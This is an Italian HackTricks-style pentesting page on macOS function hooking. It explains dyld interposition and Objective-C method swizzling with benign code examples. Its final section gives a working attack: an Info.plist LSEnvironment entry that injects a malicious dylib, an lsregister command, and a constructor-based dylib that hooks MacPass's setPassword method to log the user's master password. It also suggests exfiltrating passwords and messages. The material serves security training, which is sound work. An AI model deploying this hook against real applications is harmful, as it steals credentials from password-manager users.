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# macOS Function Hooking
{{#include ../../../banners/hacktricks-training.md}}
## Interposizione delle Funzioni
Crea un **dylib** con una sezione **`__interpose`** (o una sezione contrassegnata con **`S_INTERPOSING`**) contenente tuple di **puntatori a funzioni** che si riferiscono alle funzioni **originali** e **sostitutive**.
Poi, **inietta** il dylib con **`DYLD_INSERT_LIBRARIES`** (l'interposizione deve avvenire prima che l'app principale venga caricata). Ovviamente, le [**restrizioni** applicate all'uso di **`DYLD_INSERT_LIBRARIES`** si applicano anche qui](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions).
### Interponi printf
{{#tabs}}
{{#tab name="interpose.c"}}
```c:interpose.c
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>
int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);
int ret = printf("Hello from interpose\n");
return ret;
}
__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
```
{{#endtab}}
{{#tab name="hello.c"}}
```c
//gcc hello.c -o hello
#include <stdio.h>
int main() {
printf("Hello World!\n");
return 0;
}
```
{{#endtab}}
{{#tab name="interpose2.c"}}
```c
// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib
#include <stdio.h>
#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};
int my_printf(const char *format, ...)
{
int ret = printf("Hello from interpose\n");
return ret;
}
DYLD_INTERPOSE(my_printf,printf);
```
{{#endtab}}
{{#endtabs}}
```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose
```
## Method Swizzling
In ObjectiveC questo è come viene chiamato un metodo: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
È necessario l'**oggetto**, il **metodo** e i **parametri**. E quando un metodo viene chiamato, un **msg viene inviato** utilizzando la funzione **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
L'oggetto è **`someObject`**, il metodo è **`@selector(method1p1:p2:)`** e gli argomenti sono **value1**, **value2**.
Seguendo le strutture degli oggetti, è possibile raggiungere un'**array di metodi** dove i **nomi** e i **puntatori** al codice del metodo sono **localizzati**.
> [!CAUTION]
> Nota che poiché i metodi e le classi vengono accessi in base ai loro nomi, queste informazioni sono memorizzate nel binario, quindi è possibile recuperarle con `otool -ov </path/bin>` o [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
### Accessing the raw methods
È possibile accedere alle informazioni dei metodi come nome, numero di parametri o indirizzo come nel seguente esempio:
```objectivec
// gcc -framework Foundation test.m -o test
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));
// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}
// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}
// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}
// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);
// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);
return 0;
}
```
### Method Swizzling con method_exchangeImplementations
La funzione **`method_exchangeImplementations`** consente di **cambiare** l'**indirizzo** dell'**implementazione** di **una funzione con l'altra**.
> [!CAUTION]
> Quindi, quando una funzione viene chiamata, ciò che viene **eseguito è l'altra**.
```objectivec
//gcc -framework Foundation swizzle_str.m -o swizzle_str
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original method
return [self swizzledSubstringFromIndex:from];
}
@end
int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);
// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
return 0;
}
```
> [!WARNING]
> In questo caso, se il **codice di implementazione del metodo legittimo** **verifica** il **nome del metodo**, potrebbe **rilevare** questo swizzling e impedirne l'esecuzione.
>
> La seguente tecnica non ha questa restrizione.
### Method Swizzling con method_setImplementation
Il formato precedente è strano perché stai cambiando l'implementazione di 2 metodi l'uno dall'altro. Utilizzando la funzione **`method_setImplementation`**, puoi **cambiare** l'**implementazione** di un **metodo per l'altro**.
Ricorda solo di **memorizzare l'indirizzo dell'implementazione di quello originale** se intendi chiamarlo dalla nuova implementazione prima di sovrascriverlo, perché in seguito sarà molto più complicato localizzare quell'indirizzo.
```objectivec
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
static IMP original_substringFromIndex = NULL;
@interface NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];
// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);
return 0;
}
}
```
## Hooking Attack Methodology
In questa pagina sono stati discussi diversi modi per agganciare funzioni. Tuttavia, comportavano **l'esecuzione di codice all'interno del processo per attaccare**.
Per fare ciò, la tecnica più semplice da utilizzare è iniettare un [Dyld tramite variabili di ambiente o hijacking](../macos-dyld-hijacking-and-dyld_insert_libraries.md). Tuttavia, suppongo che questo possa essere fatto anche tramite [Dylib process injection](macos-ipc-inter-process-communication/index.html#dylib-process-injection-via-task-port).
Tuttavia, entrambe le opzioni sono **limitate** a binari/processi **non protetti**. Controlla ciascuna tecnica per saperne di più sulle limitazioni.
Tuttavia, un attacco di hooking di funzione è molto specifico, un attaccante lo farà per **rubare informazioni sensibili dall'interno di un processo** (se no faresti semplicemente un attacco di iniezione di processo). E queste informazioni sensibili potrebbero trovarsi in app scaricate dall'utente come MacPass.
Quindi il vettore dell'attaccante sarebbe quello di trovare una vulnerabilità o rimuovere la firma dell'applicazione, iniettare la variabile di ambiente **`DYLD_INSERT_LIBRARIES`** attraverso l'Info.plist dell'applicazione aggiungendo qualcosa come:
```xml
<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>
```
e poi **ri-registrare** l'applicazione:
```bash
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
```
Aggiungi in quella libreria il codice di hooking per esfiltrare le informazioni: Passwords, messages...
> [!CAUTION]
> Nota che nelle versioni più recenti di macOS se **rimuovi la firma** del binario dell'applicazione e questa è stata eseguita in precedenza, macOS **non eseguirà più l'applicazione**.
#### Esempio di libreria
```objectivec
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
// If you added env vars in the Info.plist don't forget to call lsregister as explained before
// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'
#include <Foundation/Foundation.h>
#import <objc/runtime.h>
// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);
// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
}
// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}
```
## Riferimenti
- [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)
{{#include ../../../banners/hacktricks-training.md}}